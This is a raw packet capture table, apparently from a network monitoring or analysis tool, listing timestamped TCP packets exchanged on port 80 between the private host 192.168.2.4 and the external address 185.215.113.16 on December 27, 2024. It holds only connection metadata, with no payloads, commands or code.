Dec 27, 2024 09:00:20.662467957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.662492990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.662496090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.662511110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.662558079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.663057089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.663129091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.663142920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.663934946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.664081097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.664161921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.664838076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.664895058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.664952993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.665864944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.665977955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.666042089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.666742086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.666814089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.666851044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.667591095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.667633057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.667673111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.668375015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.668457031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.668471098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.669222116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.669289112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.669337034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.670147896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.670217037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.670228004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.670978069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.671099901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.671152115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.671854019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.671977997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.672100067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.672755003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.672801971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.672859907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.673652887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.673748970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.673800945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.674519062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.674588919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.674629927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.675404072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.675515890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.675585032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.676251888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.676314116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.676353931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.677135944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.677252054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.677320957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.678060055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.678145885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.678185940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.678914070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.679007053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.679061890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.679769039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.679883003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.679951906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.680680037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.680777073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.680782080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.681516886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.681641102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.681710005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.682454109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.682519913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.682537079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.683259010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.683373928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.683446884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.684155941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.684216022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.684250116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.685029984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.685132027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.685229063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.685924053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.685998917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.686038971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.686805964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.686969042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.687024117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.687664032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.687781096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.687843084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.688869953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.688966036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.688977957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.689539909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.689587116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.689661026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.690299034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.690362930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.690404892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.691184044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.691283941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.691344976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.692080975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.692171097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.692229033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.692960024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.693083048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.693104982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.693826914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.693936110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.694001913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.694729090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.694783926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.846883059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.846982002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.847131014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.847265959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.847470999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.847521067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.848274946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.848387957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.848440886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.849037886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.849308968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.849360943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.849457979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.850173950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.850334883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.850372076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.851030111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.851121902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.851134062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.851952076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.852005005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.852050066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.852786064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.852850914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.852917910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.853699923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.853775978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.853833914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.854567051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.854624033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.854724884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.858841896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.858906031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.858911037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.859255075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.859319925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.859369040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.860121965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.860183954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.860234976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.861087084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.861166000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.861224890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.861888885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.861948013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.861989021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.862766027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.862829924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.862869978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.863667011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.863758087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.863800049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.864610910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.864643097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.864667892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.865395069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.865489960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.865504026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.866276979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.866362095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.866394043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.867158890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.867223978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.867255926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.868047953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.868118048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.868146896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.868936062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.868964911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.869029999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.869781971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.869854927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.869906902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.870690107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.870743036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.870768070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.871526003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.871598005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.871659040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.872425079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.872493982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.872514009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.873281002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.873341084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.873393059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.874177933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.874247074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.874305010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.875063896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.875174046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.875190973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.875926018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.876013041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.876034975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.876883030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.876939058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.876974106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.877701998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.877800941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.877806902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.878652096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.878684998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.878751993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.879443884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.879559040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.879611015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.880346060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.880460024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.880534887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.881293058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.881359100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.881424904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.882128000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.882183075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.882246017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.882977962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.883057117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.883070946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.883836985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.883944035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.884067059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.884716034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.884809971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.884819031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.885642052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.885740995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.885826111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.886497021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.886557102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.886596918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.887372017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.887432098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.887509108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.888236046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.888286114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.888350010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.889147043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.889224052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.889242887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.889991999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.890091896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.890144110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.890858889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.890913010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.890999079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.891803980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.891863108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.891891003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.892669916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.892745972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.892751932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.893589973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.893678904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.893800020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.894438982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.894520998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.894546032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.895262003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.895373106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.895405054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.896107912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.896387100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.896387100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.048043966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.048161030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.048516989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.048580885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.048633099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.048751116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.049496889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.049613953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.050318003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.050442934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.050533056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.050631046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.050648928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.051461935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.051511049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.051611900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.052314043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.052458048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.052512884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.053148985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.053196907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.053277969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.054050922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.054161072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.054164886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.055222988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.055274963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.055303097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.056238890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.056289911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.056344986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.060451031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.060563087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.060606956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.060730934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.060758114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.060806990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.061563969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.061621904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.061661959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.062475920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.062544107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.062556028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.063323021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.063380957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.063412905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.064217091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.064296961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.064434052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.064488888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.065113068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.065171957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.065241098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.066004038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.066150904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.066229105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.066848993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.066901922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.067008972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.067742109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.067828894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.067914963 CET	49743	80	192.168.2.4	185.215.113.16
